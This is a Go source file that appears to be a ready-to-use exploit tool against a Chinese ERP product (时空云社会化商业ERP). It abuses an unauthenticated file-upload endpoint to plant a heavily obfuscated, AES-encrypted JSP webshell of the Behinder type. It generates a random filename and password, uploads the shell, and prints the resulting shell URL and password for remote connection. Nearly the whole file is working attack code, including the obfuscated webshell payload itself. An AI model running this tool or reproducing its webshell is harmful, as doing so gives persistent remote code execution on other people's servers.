package main

import (
	"crypto/md5"
	"crypto/tls"
	"encoding/base64"
	"encoding/hex"
	"fmt"
	"github.com/hpifu/go-kit/hflag"
	"github.com/imroc/req/v3"
	"github.com/liushuochen/gotable"
	"github.com/thanhpk/randstr"
	"net/http"
	"os"
	"strconv"
	"strings"
	"time"
)

var postHeader = map[string]string{
	"User-Agent":      "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15",
	"Accept":          "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
	"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
	"Accept-Encoding": "gzip, deflate",
	"Connection":      "close",
}

func main() {
	target, url := userParam()
	getShell(target, url)
}
func reqClient() *req.Client {
	cli := req.C()
	cli.SetTimeout(time.Second * 10)
	cli.SetAutoDecodeAllContentType()
	cli.SetTLSFingerprintSafari()
	cli.TLSClientConfig = &tls.Config{InsecureSkipVerify: true,
		MinVersion: tls.VersionTLS10,
		MaxVersion: tls.VersionTLS13}
	return cli
}

func userParam() (target, proxyURL string) {
	hflag.AddFlag("target", "时空云社会化商业ERP系统地址", hflag.Required(), hflag.Shorthand("t"))
	hflag.AddFlag("proxy", "http||socks5代理地址", hflag.Shorthand("p"))
	if err := hflag.Parse(); err != nil {
		fmt.Println(hflag.Usage())
		os.Exit(0)
	}
	return hflag.GetString("target"), hflag.GetString("proxy")
}

func getShell(target, proxyAddr string) {

	filename := randstr.Hex(8) + ".jsp"
	password := randstr.Hex(10)
	hash := md5.New()
	hash.Write([]byte(password))
	sum := hash.Sum(nil)
	md5Hashed := hex.EncodeToString(sum)
	base64EncodedPassword := base64.StdEncoding.EncodeToString([]byte(md5Hashed[0:16]))
	webshellStr := "<%@page import=\"sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random\" %>\n<%!\n    class qaxnb2YS2l3OhP extends \\u0043l\\u0061\\u0073\\u0073\\u004c\\u006f\\u0061\\u0064\\u0065\\u0072 {\n        qaxnb2YS2l3OhP(\\u0043l\\u0061\\u0073\\u0073\\u004c\\u006f\\u0061\\u0064\\u0065\\u0072 qaxnbLJhSPvi5Q) {\n            super(qaxnbLJhSPvi5Q);\n        }\n        public Class qaxnbMmjwhoxa0(byte[] qaxnbiSjum0bO2) {\n            return super.d\\uuuuuuuuu0065fineClass(qaxnbiSjum0bO2,0,qaxnbiSjum0bO2.length);\n        }\n    }\n%><%\n    out.println(\"Random Garbage Data:\");\n    Random qaxnbH9f2iDHMP = new Random();\n    int qaxnbp6OefuDCh = qaxnbH9f2iDHMP.nextInt(1234);\n    int qaxnblLVoK9FUm = qaxnbH9f2iDHMP.nextInt(5678);\n    int qaxnbiP40XLywi = qaxnbH9f2iDHMP.nextInt(1357);\n    int qaxnbaLhYoMct3 = qaxnbH9f2iDHMP.nextInt(2468);\n    out.println(qaxnbp6OefuDCh+\",\"+qaxnblLVoK9FUm+\",\"+qaxnbiP40XLywi+\",\"+qaxnbaLhYoMct3);\n    String[] qaxnbT5jLImCEZ = new String[]{\"A\", \"P\", \"B\", \"O\", \"C\", \"S\", \"D\", \"T\"};\n    String qaxnb8vA28wQ1Q = qaxnbT5jLImCEZ[1] + qaxnbT5jLImCEZ[3] + qaxnbT5jLImCEZ[5] + qaxnbT5jLImCEZ[7];\n    if (request.getMethod().equals(qaxnb8vA28wQ1Q)) {\n        String qaxnbczXfPC4zb = new String(new B\\u0041\\u0053\\u0045\\u0036\\u0034\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072().decodeBuffer(\"" + base64EncodedPassword + "\"));\n        session.setAttribute(\"u\", qaxnbczXfPC4zb);\n        Cipher qaxnbfFLFnAYze = Cipher.getInstance(\"AES\");\n        qaxnbfFLFnAYze.init(((qaxnbp6OefuDCh * qaxnblLVoK9FUm + qaxnbiP40XLywi - qaxnbaLhYoMct3) * 0) + 3 - 1, new SecretKeySpec(qaxnbczXfPC4zb.getBytes(), \"AES\"));\n        new qaxnb2YS2l3OhP(this.\\u0067\\u0065t\\u0043\\u006c\\u0061\\u0073\\u0073().\\u0067\\u0065t\\u0043\\u006c\\u0061\\u0073\\u0073Loader()).qaxnbMmjwhoxa0(qaxnbfFLFnAYze.doFinal(new sun.misc.B\\u0041\\u0053\\u0045\\u0036\\u0034\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);\n    }\n%>"
	cli := reqClient()
	if proxyAddr != "" {
		cli.SetProxyURL(proxyAddr)
	}
	uploadURL := strings.Replace(target+"/servlet/fileupload/gpy", "//serv", "/serv", 1)
	for k, v := range postHeader {
		cli.SetCommonHeader(k, v)
	}
	cli.SetCommonHeader("Content-Length", strconv.Itoa(len(webshellStr)))
	post, err := cli.R().EnableForceMultipart().SetFileBytes("file1", filename, []byte(webshellStr)).Post(uploadURL)
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		_ = post.Body.Close()
	}()
	if post.StatusCode != http.StatusOK {
		fmt.Println("GetShell Failed")
		return
	}
	split := strings.Split(post.String(), ".jspdate=")

	shellPath := strings.Replace(target+"/uploads/pics/"+split[1]+"/"+filename, "//up", "/up", 1)
	tb, _ := gotable.Create("Shell连接工具", "Shell连接地址", "Shell连接密码")
	_ = tb.AddRow([]string{
		"冰蝎/Behinder", shellPath, password,
	})
	fmt.Println(tb)
}
